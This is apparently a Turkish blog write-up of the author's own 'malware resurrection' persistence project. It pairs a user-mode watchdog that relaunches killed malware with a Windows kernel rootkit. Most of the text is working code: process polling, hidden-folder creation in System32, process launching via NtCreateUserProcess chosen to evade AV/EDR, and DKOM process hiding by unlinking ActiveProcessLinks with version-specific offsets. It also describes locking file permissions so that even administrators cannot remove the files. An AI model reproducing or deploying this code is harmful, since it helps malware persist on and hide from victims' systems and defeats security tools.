Malware Resurrection

Malware Resurrection

Malware Resurrection

Malware Resurrection tekniği, belirli malware’in sonlandırıldıktan sonra bile aktif kalmasını sağlamak için kullanılan bir kalıcılık tekniğinidir. Bu teknik, kötü amaçlı yazılımın kullanıcı tarafından kapatılması, güvenlik yazılımı tarafından sonlandırılması veya bir hata nedeniyle çökmesi durumunda otomatik olarak yeniden başlatılmasını veya ana bilgisayarı yeniden enfekte etmesini sağlar.

Diğer bir deyişle, kötü amaçlı yazılım kendini “izler” veya yürütme durumunu izleyen ve artık çalışmıyorsa hemen yeniden başlatan bir yardımcı işleme sahiptir.

The Project

Projemde, her iki modun avantajlarından yararlanarak malware resurrection tekniğini uygulamak için bir rootkit ve bir usermode geliştirdim. Usermode program malware’i dinler ve eğer malware sonlandırılırsa, yeniden başlatmak için hemen diriltmek için adımlara başlar. Rootkit, DKOM saldırıları vb. yoluyla diriliş sürecini güçlendirir.

Şema üzerinden gidebiliriz:

Listening the Malware from User Mode Program

İlk olarak usermode program, proje içerisindeki IsProcessRunning fonksiyonu ile malware process’ini dinlemeye başlar:

BOOLEAN IsProcessRunning(DWORD ProcessID) {
    HANDLE HandleProcessSnap = NULL;
    PROCESSENTRY32 PE32;
    BOOL Status = FALSE;

    HandleProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == HandleProcessSnap) {
        return FALSE;
    }

    PE32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(HandleProcessSnap, &PE32)) {
        CloseHandle(HandleProcessSnap);
        return FALSE;
    }

    do {
        if (PE32.th32ProcessID == ProcessID) {
            Status = TRUE;
            break;
        }
    } while (Process32Next(HandleProcessSnap, &PE32));

    CloseHandle(HandleProcessSnap);
    return Status;
}

Fikir basit: Önce çalışan tüm process’lerin snapshot’ı alınıyor, sonra Process32First ve Process32Next ile sırayla geziliyor. Her process’in th32ProcessID’si hedef ProcessID ile karşılaştırılıyor. Eğer eşleşme varsa Status TRUE oluyor ve döngü kırılıyor. Hiç bulunamazsa FALSE kalıyor.

Fonksiyon FALSE dönerse, program devam edip gizli bir klasör oluşturuyor.

Creating Hidden Folder

İlk adım olarak program rootkit ile bağlantı kuruyor ve rootkit System32 altında gizli bir dosya oluşturuyor. Rootkit kısmı oldukça basit. CreateHiddenFile fonksiyonundan:

NTSTATUS CreateHiddenFile() {
	HANDLE HandleDirectory = NULL;
	HANDLE HandleFile = NULL;
	OBJECT_ATTRIBUTES ObjAttr;
	IO_STATUS_BLOCK IoStatusBlock;
	NTSTATUS Status;

	InitializeObjectAttributes(&ObjAttr, &G_ExecutablePath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);

	Status = ZwCreateFile(&HandleDirectory, GENERIC_ALL, &ObjAttr, &IoStatusBlock, NULL, FILE_ATTRIBUTE_DIRECTORY | FILE_ATTRIBUTE_HIDDEN, \
		FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
	if (!NT_SUCCESS(Status)) {
		return Status;
	}
	ZwClose(HandleDirectory);

	return STATUS_SUCCESS;
}

Burada Object Attributes başlatılıyor ve ardından ZwCreateFile çağrılarak gizli dosya oluşturuluyor.

Creating the Process

Dosya oluşturulduktan sonra, kullanıcı modu programı NtCreateUserProcess ile bir işlem oluşturur. Dürüst olmak gerekirse bunu rootkit’te yapmadım.

Bu projeyi ilk geliştirmeye başladığımda, çekirdek modu sürücüsünde ZwCreateProcess’i bulmaya ve oluşturmaya çalıştım ve diğer birçok yöntemi denedim, ancak ne yazık ki hiçbiri benim için işe yaramadı. Daha sonra ZwCreateProcessEx gibi API’lerin çekirdek düzeyinde process’ler oluşturmak için kullanıldığını öğrendim ve Microwave90 kullanıcısının kernel tabanlı driver projesinde uyguladığı NtCreateUserProcess gibi diğer yöntemleri denedim, ancak boşuna.

Daha sonra yaptığım araştırmalarda Capt. Meelo’nun blogunda NtCreateUserProcess’in usermode programinda çalıştırılması ile ilgili bir yazı buldum ve açıkçası kod benim için çok faydalı oldu ve kullanıcı modu programıma süreç oluşturmayı eklemeye karar verdim. İşte kodlar:

NTSTATUS CreateTargetProcess(UNICODE_STRING ImagePath, PHANDLE HandlePtr) {
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
    PPS_ATTRIBUTE_LIST AttrList;
    PS_CREATE_INFO CreateInfo = { 0 };
    HANDLE HandleProcess = NULL;
    HANDLE HandleThread = NULL;
    NTSTATUS Status;

    Status = RtlCreateProcessParametersEx(&ProcessParameters, &ImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, \
        RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    CreateInfo.Size = sizeof(CreateInfo);
    CreateInfo.State = PsCreateInitialState;

    AttrList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
    AttrList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
    AttrList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
    AttrList->Attributes[0].Size = ImagePath.Length;
    AttrList->Attributes[0].Value = (ULONG_PTR)ImagePath.Buffer;

    Status = NtCreateUserProcess(&HandleProcess, &HandleThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, \
        &CreateInfo, AttrList);
    if (!NT_SUCCESS(Status)) {
        RtlFreeHeap(RtlProcessHeap(), 0, AttrList);
        RtlDestroyProcessParameters(ProcessParameters);
        return Status;
    }
    *HandlePtr = HandleProcess;

    RtlFreeHeap(RtlProcessHeap(), 0, AttrList);
    RtlDestroyProcessParameters(ProcessParameters);
    return STATUS_SUCCESS;
}

Usermode’dan CreateProcess çağrısı yaptığımızda aşağıdaki adımlar işlenecektir:

İlk olarak kernel32’den CreateProcessInternal, ardından ntdll.dll’den NtCreateUserProcess ve son olarak kernel moduna girerek ntoskrnl.exe’den NtCreateUserProcess çağrılır. Burada NtCreateUserProcess’in kullanılmasının nedeni, Meelo’nun makalede bahsettiği gibi, AV/EDR tespit kontrollerinden kaçmak için kullanılabilecek en düşük seviye API olmasıdır.

Ancak dikkat ederseniz, NtCreateUserProcess’i doğrudan kod içinde çağırmıyoruz. Bundan önce bazı adımları tamamlamamız ve ardından NtCreateUserProcess’i çağırmamız gerekiyor. Çünkü Windows bir işlem oluştururken bazı parametrelerin belirtilmesini bekler. Bu parametreler RTL_USER_PROCESS_PARAMETERS ve PS_ATTRIBUTE_LIST’dir.

Removing the Malware from the Process List

Process oluşturulduktan sonra, rootkit process’i process listesinden silecektir. Bunun için DKOM attack tekniğini kullanılacak:

ULONG GetActiveProcessLinkOffset() {
	ULONG MajorVersion = 0;
	ULONG MinorVersion = 0;
	ULONG BuildNumber = 0;
	NTSTATUS Status;

	Status = GetWindowsVersion(&MajorVersion, &MinorVersion, &BuildNumber);
	if (!NT_SUCCESS(Status)) {
		return 0;
	}

	/*
	   Note that these offset value (For 0x448) may change with future updates.
	*/
	if (10 == MajorVersion && 22000 >= BuildNumber) {
		/*
		  The offset value 0x448 has been tested in Windows 10 and Windows 11. 
           	  If the offset value 0x448 fails in the windows version you tried, you can find and change the offset of ActiveProcessLink with windbg.
  		*/
		return 0x448; // For Win 10 and Win 11
	}
	else if (10 == MajorVersion) {
		return 0x448; // For Win 10 and Win 11
	}
	else if (6 == MajorVersion && 3 == MinorVersion) {
		return 0x2e8; // For Win 8
	}
	else if (6 == MajorVersion && 1 == MinorVersion) {
		return 0x118; // For Win 7
	}

	return 0;
}

NTSTATUS HideProcess(HANDLE ProcessID) {
	PLIST_ENTRY ActiveProcessLink;
	PEPROCESS Process;
	ULONG Offset;
	NTSTATUS Status;

	Status = PsLookupProcessByProcessId(ProcessID, &Process);
	if (!NT_SUCCESS(Status)) {
		return Status;
	}

	Offset = GetActiveProcessLinkOffset();
	if (0 == Offset) {
		return STATUS_NOT_SUPPORTED;
	}
	ActiveProcessLink = (PLIST_ENTRY)((PUCHAR)Process + Offset);

	RemoveEntryList(ActiveProcessLink);

	return STATUS_SUCCESS;
}

The Active Process Link çift bağlı liste olarak düzenlenmiştir. Bu yapıda, her kayıt (veya node) iki pointer saklar: biri bir önceki düğüme, diğeri de listedeki bir sonraki düğüme. Bu pointer’lar tüm düğümleri birbirine bağlayarak her iki yönde de geçişe izin verir.

Windows kernel’da, çift bağlantılı bir listenin eşdeğeri aşağıdaki gibi tanımlanan LIST_ENTRY veri yapısı ile temsil edilir:

kd> dt _list_entry
ntdll!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY
   +0x008 Blink            : Ptr64 _LIST_ENTRY

Burada Flink (ileri bağlantı) ve Blink (geri bağlantı), standart bir çift bağlantılı listedeki Next ve Previous pointerlara karşılık gelir. Projede, bu offset kullanılarak, Process’in PIDsine göre aranır ve Flink ve Blink pointerları güncellenerek listeden kaldırılır ve process sistem görünümlerinden etkili bir şekilde gizlenir.

Aşağıdaki kod parçacığı, bir rootkit’in ActiveProcessLink girişini listeden kaldırarak bir process’i nasıl gizleyebileceğini göstermektedir. İlk olarak, kod, Windows sürümüne bağlı olarak işlem yapısı içindeki ActiveProcessLink ofsetini hesaplar, çünkü bu ofsetler sürümler arasında değişebilir:

ULONG GetActiveProcessLinkOffset() {
    ULONG MajorVersion = 0, MinorVersion = 0, BuildNumber = 0;
    NTSTATUS Status = GetWindowsVersion(&MajorVersion, &MinorVersion, &BuildNumber);
    if (!NT_SUCCESS(Status)) return 0;

    if (MajorVersion == 10 && BuildNumber <= 22000) {
        return 0x448; // Windows 10 / 11 tested offset
    } else if (MajorVersion == 6 && MinorVersion == 3) {
        return 0x2e8; // Windows 8
    } else if (MajorVersion == 6 && MinorVersion == 1) {
        return 0x118; // Windows 7
    }
    return 0;
}

Manipulating the Permissions of the Hidden File

Son darbe rootkit tarafından gelmektedir. Oluşturulan gizli dosya ve indirilen executable dosyanın izinleri manipüle edilir.

Windows’ta dosya izinleri, İsteğe Bağlı Erişim Kontrol Listeleri (DACL’ler) içeren Güvenlik Tanımlayıcıları aracılığıyla yönetilir. DACL’yi değiştirerek şunları yapabilirsiniz:

  • Standart kullanıcıların okuma, yazma veya silme erişimini reddedebilirsiniz.

  • Yalnızca güvenilen sistem işlemlerinin veya yöneticilerin gizli dosyayla etkileşime girmesine izin verin.

  • Dosyanın yanlışlıkla veya kötü niyetle kaldırılmasını önleme.

Rootkit tarafından gizli dosya ve executable dosyası silinemez ve çalıştırılamaz hale getirelecektir. Bu izin değişikliği hem admin hem de normal kullanıcılarını etkileyecek şekilde hareket eder.

Sonuç

Bu dökümanda, sonlandırıldığında kendini otomatik olarak yeniden başlatarak malware’inn devam etmesini sağlayan bir tekniğe değindik. DKOM aracılığıyla process gizleme ve gizli dosyaların güvenliğini sağlama dahil olmak üzere usermode ve kernelmode rootkit yöntemlerini birleştiren bir proje üzerinde çalıştık.

Last updated on